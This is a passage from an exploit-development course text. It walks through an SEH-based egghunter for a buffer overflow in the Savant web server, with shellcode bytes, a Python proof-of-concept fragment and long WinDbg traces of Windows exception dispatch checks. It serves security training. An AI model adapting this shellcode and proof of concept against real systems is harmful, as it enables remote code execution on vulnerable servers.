memory. They are similar to the previous egghunter, but rather than executing the SCASD
operation twice, we use the REPE192 instruction with the counter stored in ECX. This is done to
minimize the size of the egghunter.

192
(REPE - x86 Instruction Set Reference), https://x86.puri.sm/html/file_module_x86_id_279.html

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 207
Windows User Mode Exploit Development

Given that we’re not using any system calls to check if a memory page is mapped or if we can
access it, the access violation will be triggered on the REPE SCASD instruction. This will raise an
exception that will trigger our custom handler. For this to work, we need to ensure that our
exception handler can gracefully restore the execution flow back to our egghunter. Because an
access violation means that the memory page is not valid, we would like our exception handler to
restore execution at the loop_inc_page function, which will move on to the next memory page.
During a previous module, we explored the prototype of the _except_handler function.
typedef EXCEPTION_DISPOSITION _except_handler (*PEXCEPTION_ROUTINE) (
IN PEXCEPTION_RECORD ExceptionRecord,
IN VOID EstablisherFrame,
IN OUT PCONTEXT ContextRecord,
IN OUT PDISPATCHER_CONTEXT DispatcherContext
);
Listing 239 - Prototype for the _except_handler function

Whenever an exception occurs, the operating system will invoke our _except_handler and pass the
four parameters from Listing 239 to the stack.
One parameter we’re particularly interested in is ContextRecord, which points to a CONTEXT
structure. This structure contains processor-specific register data at the time the exception
occurred.
0:006> dt ntdll!_CONTEXT
+0x000 ContextFlags : Uint4B
+0x004 Dr0 : Uint4B
+0x008 Dr1 : Uint4B
+0x00c Dr2 : Uint4B
+0x010 Dr3 : Uint4B
+0x014 Dr6 : Uint4B
+0x018 Dr7 : Uint4B
+0x01c FloatSave : _FLOATING_SAVE_AREA
+0x08c SegGs : Uint4B
+0x090 SegFs : Uint4B
+0x094 SegEs : Uint4B
+0x098 SegDs : Uint4B
+0x09c Edi : Uint4B
+0x0a0 Esi : Uint4B
+0x0a4 Ebx : Uint4B
+0x0a8 Edx : Uint4B
+0x0ac Ecx : Uint4B
+0x0b0 Eax : Uint4B
+0x0b4 Ebp : Uint4B
+0x0b8 Eip : Uint4B
+0x0bc SegCs : Uint4B
+0x0c0 EFlags : Uint4B
+0x0c4 Esp : Uint4B
+0x0c8 SegSs : Uint4B
+0x0cc ExtendedRegisters : [512] UChar
Listing 240 - Dumping the CONTEXT structure in WinDbg

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 208
Windows User Mode Exploit Development

At the moment the exception occurs, all register values are stored in this structure. At offset 0xB8
from the beginning of the CONTEXT structure, we find the Eip member. As the name implies, this
member stores the memory address pointing to the instruction that caused the access violation.
This Eip structure member is an important part of the egghunter resuming execution. Because we
can modify this structure as part of our custom _except_handler implementation, we can also
resume the execution flow at the loop_inc_page function to move to the next memory page.
Once this is done, we only need to take care of the return value in EAX. This comes in the form of
an _EXCEPTION_DISPOSITION structure containing four members, each of them acting as a
return value.
0:006> dt _EXCEPTION_DISPOSITION
ntdll!_EXCEPTION_DISPOSITION
ExceptionContinueExecution = 0n0
ExceptionContinueSearch = 0n1
ExceptionNestedException = 0n2
ExceptionCollidedUnwind = 0n3
Listing 241 - Dumping the _EXCEPTION_DISPOSITION structure in WinDbg

According to Listing 241, to gracefully continue the execution, we have to use the
ExceptionContinueExecution return value (0x00) to signal that the exception has been
successfully handled.
Let’s quickly summarize the way our custom _except_handler works. When the exception is
triggered and our function is executed, we retrieve the ContextRecord parameter from the stack at
offset 0x0C (because it is the third argument).
...
" push 0x0c ;"
# pop the value into ecx
" pop ecx ;"
# mov into eax the pointer to the CONTEXT structure for our exception
" mov eax, [esp+ecx] ;"
...
Listing 242 - Get the pointer to the CONTEXT structure in EAX

After retrieving the ContextRecord parameter, we dereference the ContextRecord address at


offset 0xB8 to obtain the Eip member. Once we have the value of the Eip member, we can align it
to the loop_inc_page function with arithmetic operations. Then we save the return address in EAX
and increase the stack pointer past the arguments.
# mov 0xb8 into ecx which will act as an
# offset to the eip
" mov cl, 0xb8 ;"
# increase the value of eip by 0x06 in our CONTEXT
# so it points to the "or bx, 0xfff" instruction
# to increase the memory page
" add dword ptr ds:[eax+ecx], 0x06 ;"
# save return value into eax
" pop eax ;"
# increase esp to clean the stack for our call
" add esp, 0x10 ;"
Listing 243 - Adjust the Eip member in order for it to point to the loop_inc_page function

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 209
Windows User Mode Exploit Development

Finally, we push the previously-stored return address back on the stack and null out EAX to signal
that the exception has been successfully handled. Then, we execute a return instruction, which
will take us back to the loop_inc_page function.
...
" push eax ;"
# null out eax to simulate
# ExceptionContinueExecution return
" xor eax, eax ;"
# return
" ret ;"
...
Listing 244 - Push the return address and set EAX to ExceptionContinueExecution

Now that we understand how the egghunter works, let’s generate the opcodes for it by running
our Python script.
kali@kali:~/Documents$ python3 egghunter_seh_original.py
Encoded 35 instructions...
egghunter =
("\xeb\x21\x59\xb8\x77\x30\x30\x74\x51\x6a\xff\x31\xdb\x64\x89\x23\x6a\x02\x59\x89\xdf
\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xda\xff\xff\xff\x6a\x0c\x
59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3")
Listing 245 - Obtaining the opcodes for our SEH egghunter

Notice the increased size compared to our previous egghunter. While this egghunter technique is
very portable, it does come with a significant increase in size. This needs to be taken into account
in cases where we do not have enough space and therefore have to use our previous technique.
Let’s replace our previous egghunter with the newly-generated one in our proof of concept and
follow the steps in WinDbg.
...
try:
server = sys.argv[1]
port = 80
size = 253

httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # xor ecx, ecx; test ecx, ecx;
je 0x17

egghunter = (b"\x90\x90\x90\x90\x90\x90\x90\x90" # NOP sled


b"\xeb\x21\x59\xb8\x77\x30\x30\x74"
b"\x51\x6a\xff\x31\xdb\x64\x89\x23"
b"\x6a\x02\x59\x89\xdf\xf3\xaf\x75"
b"\x07\xff\xe7\x66\x81\xcb\xff\x0f"
b"\x43\xeb\xed\xe8\xda\xff\xff\xff"
b"\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8"
b"\x83\x04\x08\x06\x58\x83\xc4\x10"
b"\x50\x31\xc0\xc3")

inputBuffer = b"\x41" * (size - len(egghunter))


inputBuffer+= pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
httpEndRequest = b"\r\n\r\n"
...

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 210
Windows User Mode Exploit Development

Listing 246 - egghunter_0x10.py: Replacing our sytem call egghunter with our SEH-based one

We will set a breakpoint at the POP EAX; RET instruction sequence and then reach the beginning
of our egghunter.
0:008> bp 0x00418674
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
*** ERROR: Module load completed but symbols could not be loaded for
C:\Savant\Savant.exe

0:008> g
Breakpoint 0 hit
eax=00000000 ebx=015c5750 ecx=0000000e edx=77994550 esi=015c5750 edi=0041703c
eip=00418674 esp=0307ea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Savant+0x18674:
00418674 58 pop eax
...

0:003> t
eax=0307fe70 ebx=015c5750 ecx=00000000 edx=77994550 esi=015c5750 edi=0041703c
eip=0307eaa5 esp=0307ea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0307eaa5 eb21 jmp 0307eac8
Listing 247 - Checking the bad characters from our secondary buffer in memory

Now that we have reached the beginning of our egghunter, let’s go through the major steps with
WinDbg. We begin by jumping down to the get_seh_address function. We’ll perform a backwards
relative CALL to build_exception_record This helps us avoid null bytes and also pushes the return
address onto the stack.
0:003> t
eax=0307fe70 ebx=015c5750 ecx=00000000 edx=77994550 esi=015c5750 edi=0041703c
eip=0307eac8 esp=0307ea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0307eac8 e8daffffff call 0307eaa7

0:003> dds @esp L4


0307ea34 0041703c Savant+0x1703c
0307ea38 015c5750
0307ea3c 015c5750
0307ea40 00000000

0:003> t
eax=0307fe70 ebx=015c5750 ecx=00000000 edx=77994550 esi=015c5750 edi=0041703c
eip=0307eaa7 esp=0307ea30 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0307eaa7 59 pop ecx

0:003> dds @esp L4


0307ea30 0307eacd
0307ea34 0041703c Savant+0x1703c
0307ea38 015c5750
0307ea3c 015c5750

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 211
Windows User Mode Exploit Development

0:003> u 0307eacd
0307eacd 6a0c push 0Ch
0307eacf 59 pop ecx
0307ead0 8b040c mov eax,dword ptr [esp+ecx]
0307ead3 b1b8 mov cl,0B8h
0307ead5 83040806 add dword ptr [eax+ecx],6
0307ead9 58 pop eax
0307eada 83c410 add esp,10h
0307eadd 50 push eax
Listing 248 - Dynamically obtaining the position of our egghunter in memory

Listing 248 confirms that the CALL instruction does not contain any null bytes. Once it is
executed, the return address is pushed onto the stack, which points to the next instruction after
the call. These instructions will act as our custom _except_handler function implementation.
Now we are at the beginning of the build_exception_record function. We start by executing a POP
ECX instruction. This will store the return address (a pointer to our _except_handler function) into
ECX. This is followed by a MOV EAX instruction, which will place our egg in EAX.
The next few instructions will replace the current ExceptionList with our fake one. We begin by
pushing the value of the ECX register (_except_handler) as well as the value 0xffffffff. These two
values will act as our _EXCEPTION_REGISTRATION_RECORD structure.

These values are pushed onto the stack because the ExceptionList requires a
pointer to the first _EXCEPTION_REGISTRATION_RECORD structure, which we
can provide by using the ESP register.

0:003> t
eax=54303057 ebx=015c5750 ecx=0307eacd edx=77994550 esi=015c5750 edi=0041703c
eip=0307eaad esp=0307ea34 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0307eaad 51 push ecx

0:003> t
eax=54303057 ebx=015c5750 ecx=0307eacd edx=77994550 esi=015c5750 edi=0041703c
eip=0307eaae esp=0307ea30 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0307eaae 6aff push 0FFFFFFFFh

0:003> t
eax=54303057 ebx=015c5750 ecx=0307eacd edx=77994550 esi=015c5750 edi=0041703c
eip=0307eab0 esp=0307ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0307eab0 31db xor ebx,ebx

0:003> dds @esp L2


0307ea2c ffffffff
0307ea30 0307eacd
Listing 249 - Creating our _EXCEPTION_REGISTRATION_RECORD structure on the stack

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 212
Windows User Mode Exploit Development

After setting up our fake _EXCEPTION_REGISTRATION_RECORD structure, we perform an XOR


operation to null EBX. We then use that value to dereference an offset into the FS register.
In a previous module, we learned that offset 0x00 holds a pointer to the current TEB. We will
couple this dereference with the MOV instruction to essentially overwrite the first member of the
TEB structure, the ExceptionList, with the current value of ESP.
0:003> r
eax=54303057 ebx=00000000 ecx=0307eacd edx=77994550 esi=015c5750 edi=0041703c
eip=0307eab2 esp=0307ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0307eab2 648923 mov dword ptr fs:[ebx],esp fs:003b:00000000=0307ff70

0:003> r @ebx
ebx=00000000

0:003> !teb
TEB at 7ffdb000
ExceptionList: 0307ff70
StackBase: 03080000
StackLimit: 0307c000
...

0:003> t
eax=54303057 ebx=00000000 ecx=0307eacd edx=77994550 esi=015c5750 edi=0041703c
eip=0307eab5 esp=0307ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0307eab5 6a02 push 2

0:003> !teb
TEB at 7ffdb000
ExceptionList: 0307ea2c
StackBase: 03080000
StackLimit: 0307c000
...

0:003> dt _EXCEPTION_REGISTRATION_RECORD 0307ea2c


ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x0307eacd _EXCEPTION_DISPOSITION +307eacd
Listing 250 - Overwriting the ExceptionList with our own _EXCEPTION_REGISTRATION_RECORD

We were successfully able to overwrite the ExceptionList with our custom


_EXCEPTION_REGISTRATION_RECORD structure. Furthermore, we made sure to set the Next
member to “-1”, signaling that this is the last exception handler.
Once this is done, we proceed with the is_egg function until we reach the REPE SCASD instruction.
Our egghunter starts at the null page (0x00000000). Since this memory page is not available to
the vulnerable software, we will trigger an access violation.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 213
Windows User Mode Exploit Development

Since the release of Windows 8, Microsoft has made the null page (0x00000000)
inaccessible to any processes outside of the operating system itself. This was
done to mitigate various bugs that would use this address.

0:003> t
eax=54303057 ebx=00000000 ecx=00000002 edx=77994550 esi=015c5750 edi=00000000
eip=0307eaba esp=0307ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0307eaba f3af repe scas dword ptr es:[edi]

0:003> dd edi
00000000 ???????? ???????? ???????? ????????
00000010 ???????? ???????? ???????? ????????
00000020 ???????? ???????? ???????? ????????
00000030 ???????? ???????? ???????? ????????
00000040 ???????? ???????? ???????? ????????
00000050 ???????? ???????? ???????? ????????
00000060 ???????? ???????? ???????? ????????
00000070 ???????? ???????? ???????? ????????

0:003> t
(8e4.904): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=54303057 ebx=00000000 ecx=00000002 edx=77994550 esi=015c5750 edi=00000000
eip=0307eaba esp=0307ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0307eaba f3af repe scas dword ptr es:[edi]
Listing 251 - Triggering the access violation

Let’s try to inspect the current exception chain and ensure that the SEH mechanism will invoke
our custom _except_handler function.
0:003> !exchain
0307ea2c: 0307eacd
Invalid exception stack at ffffffff

0:003> u 0307eacd

0307eacd 6a0c push 0Ch


0307eacf 59 pop ecx
0307ead0 8b040c mov eax,dword ptr [esp+ecx]
0307ead3 b1b8 mov cl,0B8h
0307ead5 83040806 add dword ptr [eax+ecx],6
0307ead9 58 pop eax
0307eada 83c410 add esp,10h
0307eadd 50 push eax
Listing 252 - Inspecting the exception chain that will be used to handle the access violation

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 214
Windows User Mode Exploit Development

Excellent! Now we can set a breakpoint at the address of our _except_handler function and let the
execution resume. This will invoke the SEH mechanism to handle our exception and eventually
call our function.
0:003> bp 0307eacd

0:003> bl
0 e Disable Clear 00418674 0001 (0001) 0:**** Savant+0x18674
1 e Disable Clear 0307eacd 0001 (0001) 0:****

0:003> g
(8e4.904): Access violation - code c0000005 (!!! second chance !!!)
eax=54303057 ebx=00000000 ecx=00000002 edx=77994550 esi=015c5750 edi=00000000
eip=0307eaba esp=0307ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0307eaba f3af repe scas dword ptr es:[edi]
Listing 253 - Missing the breakpoint at our _except_handler function

Unfortunately, we never reach our _except_handler function. As shown in Listing 253, when we
resume execution, we trigger the access violation again.
As previously noted, this code was published quite some time ago. Since then, changes may have
occurred in the operating system that are now causing it to fail. To solve this issue, we first need
to explore the code used by the SEH mechanism to get a better understanding of what is going
on.

6.7.1.1 Exercises
1. Go over the SEH implementation of the egghunter and make sure you understand the
assembly code as well as how it abuses the SEH mechanism. If necessary, review the theory
covered in “Exploiting SEH Overflows” again.
2. Generate the opcodes and update your proof of concept to include the new egghunter.
3. Launch the proof of concept and follow the egghunter instructions in WinDbg.
4. Set a breakpoint at your custom _except_handler function and confirm that you do not hit the
breakpoint after resuming the execution flow.

6.7.2 Identifying the SEH-Based Egghunter Issue


To get to the root cause of our problem, we will need to take a closer look at the functions
responsible for triggering the SEH mechanism.
To do this, we will use a combination of static and dynamic analysis. We will open ntdll.dll in IDA
and run our previous proof of concept, which should raise an access violation in WinDbg.
The ntdll.dll file has already been disassembled in IDA and is available on your dedicated
Windows 10 client with helpful bookmarks.

Rather than going through every assembly instruction and following every
branch, we will focus on the key checks that are required in order to fix our

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 215
Windows User Mode Exploit Development

egghunter. Later modules in this course will cover dynamic and static code
analysis side by side in more detail, but it is out of scope for this module.

Our goal is to walk through the assembly instructions side by side between WinDbg and IDA to
better understand where the issue occurs.
From a previous module, we know that when an exception is raised, a call to
ntdll!KiUserExceptionDispatcher is made. This function will then call RtlDispatchException, which
will retrieve the ExceptionList and parse it.

Figure 62: IDA graph view of KiUserExceptionDispatcher

Some of the functions presented in the IDB file have been renamed to contain the
correct function names. The names were retrieved using the “u” command inside
WinDbg.

Let’s confirm that RtlDispatchException is called inside our debugger. Once we trigger our access
violation, we can set a breakpoint at the function and let the execution flow resume.
0:009> g
(390.113c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=54303057 ebx=00000000 ecx=00000002 edx=77cd1670 esi=01755760 edi=00000000

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 216
Windows User Mode Exploit Development

eip=03e4eaba esp=03e4ea2c ebp=41414141 iopl=0 nv up ei pl zr na pe nc


cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
03e4eaba f3af repe scas dword ptr es:[edi]

0:002> bp ntdll!RtlDispatchException

0:002> bl
0 e Disable Clear 77c86a10 0001 (0001) 0:**** ntdll!RtlDispatchException

0:002> g
Breakpoint 0 hit
eax=54303057 ebx=03e4e5c0 ecx=03e4e5dc edx=77cd1670 esi=01755760 edi=00000000
eip=77c86a10 esp=03e4e5ac ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException:
77c86a10 8bff mov edi,edi

0:002> bd 0
Listing 254 - Halting the execution flow at RtlDispatchException

We successfully hit our breakpoint. At this point, we continue to alternate between IDA and
WinDbg, paying close attention to the conditional jumps of each block and their conditions in
order to determine where the issue occurs.
As a final step before proceeding, we’ll disable the previous breakpoint at
ntdll!RtlDispatchException. We do this because the function is called often, and we want to ensure
we don’t hit the breakpoint if it is called from a different thread.
While going through the code blocks of the RtlDispatchException function, we reach an interesting
block where RtlpGetStackLimits193 is called. It stands out because RtlpGetStackLimits is used to
retrieve the current stack limits, as its name implies. The TEB structure contains the StackBase
and StackLimit values right after the ExceptionList.
0:006> dt _NT_TIB
ntdll!_NT_TIB
+0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 StackBase : Ptr32 Void
+0x008 StackLimit : Ptr32 Void
+0x00c SubSystemTib : Ptr32 Void
+0x010 FiberData : Ptr32 Void
+0x010 Version : Uint4B
+0x014 ArbitraryUserPointer : Ptr32 Void
+0x018 Self : Ptr32 _NT_TIB
Listing 255 - Dumping the _NT_TIB structure in WinDbg

Since the exception handlers are stored at the beginning of the stack space, there might be
checks on the address where our custom _EXCEPTION_REGISTRATION_RECORD structure is
located. Let’s inspect the code block in IDA.

193
(RtlpGetStackLimits), http://www.codewarrior.cn/ntdoc/win2k/rtl/ia64/RtlpGetStackLimits.htm

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 217
Windows User Mode Exploit Development

Figure 63: Code block calling RtlpGetStackLimits

The above code block sets two registers (EDX and ECX) using the LEA194 instruction. The
registers are set based on the value of ESP along with two static variables right before our CALL
instruction. The function returns the StackBase and StackLimit members, so we can assume that
the EDX and ECX registers will contain some memory addresses used to store these values.
Immediately after the call, the ExceptionList (which is the first member of the TEB structure) is
moved to ESI.
To confirm this, let’s follow the RtlpGetStackLimits function in IDA. The first code block moves a
dereference from fs:[0x18] into EAX. At offset 0x18 in the TEB structure, we have the Self
member, which contains the virtual memory address of the TEB.
After the TEB is stored in EAX, we execute two more dereferences. The first dereference occurs
on [EAX+0x04] (StackBase) and is stored in ESI. The second dereference is done on [EAX+0x08]
(StackLimit) and is stored in EAX.
Both registers (ESI and EAX) are written to the memory addresses pointed to by EDX and ECX,
which were set up before the call.

194
(LEA - x86 Instruction Set Reference), https://x86.puri.sm/html/file_module_x86_id_153.html

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 218
Windows User Mode Exploit Development

Figure 64: Getting the StackBase and StackLimit

Let’s return to the previous code block, where RtlpGetStackLimits is called. Following the
execution blocks, we notice that the storage space for the StackBase and StackLimit is re-used.
This time, the values are stored in EDI and EBX.

Figure 65: StackBase and StackLimit moved to EDI and EBX

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 219
Windows User Mode Exploit Development

Let’s confirm this by setting a breakpoint at the first MOV instruction and then execute it until we
reach a branching instruction. After that, we’ll compare the values stored in EDI and EBX to the
StackBase and StackLimit from our current TEB.

0:002> bp ntdll + 46AD1

0:002> g
Breakpoint 1 hit
eax=00000000 ebx=03e4e5dc ecx=03e4e4fc edx=77cd1670 esi=03e4ea2c edi=00000000
eip=77c86ad1 esp=03e4e518 ebp=03e4e5a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0xc1:
77c86ad1 8b7c2420 mov edi,dword ptr [esp+20h] ss:0023:03e4e538=03e4c000

0:002> t
eax=00000000 ebx=03e4e5dc ecx=03e4e4fc edx=77cd1670 esi=03e4ea2c edi=03e4c000
eip=77c86ad5 esp=03e4e518 ebp=03e4e5a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0xc5:
77c86ad5 8b5c2428 mov ebx,dword ptr [esp+28h] ss:0023:03e4e540=03e50000

0:002> t
eax=00000000 ebx=03e50000 ecx=03e4e4fc edx=77cd1670 esi=03e4ea2c edi=03e4c000
eip=77c86ad9 esp=03e4e518 ebp=03e4e5a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0xc9:
77c86ad9 7553 jne ntdll!RtlDispatchException+0x11e (77c86b2e) [br=0]

0:002> !teb
TEB at 003e1000
ExceptionList: 03e4ea2c
StackBase: 03e50000
StackLimit: 03e4c000
SubSystemTib: 00000000
...

0:002> r @edi; r @ebx


edi=03e4c000
ebx=03e50000
Listing 256 - Comparing the EDI and EBX registers with the StackBase and StackLimit

Listing 256 confirms that EDI and EBX have been set to the StackLimit and StackBase
respectively. Right after the call to RtlpGetStackLimits, the ExceptionList was moved to the ESI
register.
Inspecting the code blocks in IDA, we find a call to RtlIsValidHandle, which is responsible for
various checks including the SafeSEH implementation. When we continue our inspection of other
code blocks, we aren’t able to find another call to this function. This means we have to reach this
particular code block in order to successfully call our custom _except_handler function.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 220
Windows User Mode Exploit Development

Figure 66: Various comparisons followed by a call to RtlIsValidHandle

According to the branches in Figure 66, there are several checks that we need to pass before we
can reach the call to RtlIsValidHandle. The registers used in those comparisons seem to match
the registers that contained the StackLimit and StackBase. Unfortunately, the only way to
guarantee that they have not been altered is to go through through every single code block.
Going through each code block side-by-side in IDA and WinDbg could be tedious and time-
consuming. To speed this up, we will set a breakpoint at the first comparison (ntdll + 0x46B45). If
we hit that breakpoint, we can assume that our issue is not found in the preceding code blocks.

While making assumptions such as this is generally safe, there can be cases
where previous saved values at various memory addresses or in different
function calls can impact execution later on.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 221
Windows User Mode Exploit Development

0:002> bp ntdll + 46B45

0:002> bl
0 d Enable Clear 77c86a10 0001 (0001) 0:**** ntdll!RtlDispatchException
1 e Disable Clear 77c86ad1 0001 (0001) 0:****
ntdll!RtlDispatchException+0xc1
2 e Disable Clear 77c86b45 0001 (0001) 0:****
ntdll!RtlDispatchException+0x135

0:002> g
Breakpoint 2 hit
eax=00000000 ebx=03e50000 ecx=03e4ea2c edx=03e4e5dc esi=03e4e5c0 edi=03e4c000
eip=77c86b45 esp=03e4e518 ebp=03e4e5a8 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
ntdll!RtlDispatchException+0x135:
77c86b45 3bcf cmp ecx,edi
Listing 257 - Hitting the breakpoint at the comparisons before RtlIsValidHandle

It appears that we have successfully hit our breakpoint! This puts us right at the beginning of a
chain of checks. If we successfully pass all of them, we will reach the call to RtlIsValidHandle
(Figure 66).
Let’s tackle these checks one at a time with the help of WinDbg. We’ll start by inspecting the first
comparison, which is where our breakpoint was set.
0:002> r
eax=00000000 ebx=03e50000 ecx=03e4ea2c edx=03e4e5dc esi=03e4e5c0 edi=03e4c000
eip=77c86b45 esp=03e4e518 ebp=03e4e5a8 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217
ntdll!RtlDispatchException+0x135:
77c86b45 3bcf cmp ecx,edi

0:002> !teb
TEB at 003e1000
ExceptionList: 03e4ea2c
StackBase: 03e50000
StackLimit: 03e4c000
SubSystemTib: 00000000
...

0:002> r @ecx; r @edi


ecx=03e4ea2c
edi=03e4c000
Listing 258 - Comparing the _EXCEPTION_REGISTRATION_RECORD address to the StackLimit

In the first CMP instruction, the code is trying to determine if the


_EXCEPTION_REGISTRATION_RECORD structure is located at an address that is higher than the
StackLimit. In a normal implementation, these are stored towards the beginning of the stack
space, so this check is expected.
Because our egghunter code pushed the custom _EXCEPTION_REGISTRATION_RECORD
structure onto the stack and then overwrote the ExceptionList with the value of the ESP register,
we successfully pass this check and can safely move on to the next one.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 222
Windows User Mode Exploit Development

The next code block starts with an LEA instruction, which computes the effective address of the
second operand ([ECX-0x08]) into the first operand (EAX). The result of this operation stores the
address of our _EXCEPTION_REGISTRATION_RECORD structure plus 0x08 into EAX.
eax=00000000 ebx=03e50000 ecx=03e4ea2c edx=03e4e5dc esi=03e4e5c0 edi=03e4c000
eip=77c86b4d esp=03e4e518 ebp=03e4e5a8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!RtlDispatchException+0x13d:
77c86b4d 8d4108 lea eax,[ecx+8]

0:002> r eax
eax=00000000

0:002> ? ecx + 8
Evaluate expression: 65333812 = 03e4ea34

0:002> t
eax=03e4ea34 ebx=03e50000 ecx=03e4ea2c edx=03e4e5dc esi=03e4e5c0 edi=03e4c000
eip=77c86b50 esp=03e4e518 ebp=03e4e5a8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!RtlDispatchException+0x140:
77c86b50 3bc3 cmp eax,ebx

0:002> r eax
eax=03e4ea34
Listing 259 - Loading the effective address of the _EXCEPTION_REGISTRATION_RECORD structure plus 0x08

The operation from Listing 259 is followed by a comparison between EAX and EBX. EAX holds our
previously calculated value and EBX holds the StackBase:
0:002> r
eax=03e4ea34 ebx=03e50000 ecx=03e4ea2c edx=03e4e5dc esi=03e4e5c0 edi=03e4c000
eip=77c86b50 esp=03e4e518 ebp=03e4e5a8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!RtlDispatchException+0x140:
77c86b50 3bc3 cmp eax,ebx

0:002> !teb
TEB at 003e1000
ExceptionList: 03e4ea2c
StackBase: 03e50000
StackLimit: 03e4c000
SubSystemTib: 00000000
...

0:002> r @eax; r @ebx


eax=03e4ea34
ebx=03e50000
Listing 260 - Comparing the _EXCEPTION_REGISTRATION_RECORD address plus 0x08 to the StackBase

Similar to our previous check, the comparison from Listing 260 checks if the memory address of
our custom _EXCEPTION_REGISTRATION_RECORD structure plus 0x08 is located at a lower
address than the StackBase. The reason it adds 0x08 bytes from the
_EXCEPTION_REGISTRATION_RECORD structure is due to its size, which contains two DWORD-
sized members.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 223
Windows User Mode Exploit Development

We pass this check successfully since we pushed the _EXCEPTION_REGISTRATION_RECORD


structure on the stack.
The next instruction is a TEST between the first byte of ECX (which holds a memory pointer to our
custom _EXCEPTION_REGISTRATION_RECORD structure), and the hardcoded value of 0x03. This
instruction is to confirm that the memory address of the _EXCEPTION_REGISTRATION_RECORD
structure is aligned to the four bytes boundary.195
0:002> r
eax=03e4ea34 ebx=03e50000 ecx=03e4ea2c edx=03e4e5dc esi=03e4e5c0 edi=03e4c000
eip=77c86b58 esp=03e4e518 ebp=03e4e5a8 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
ntdll!RtlDispatchException+0x148:
77c86b58 f6c103 test cl,3

0:002> !teb
TEB at 003e1000
ExceptionList: 03e4ea2c
StackBase: 03e50000
StackLimit: 03e4c000
SubSystemTib: 00000000
...

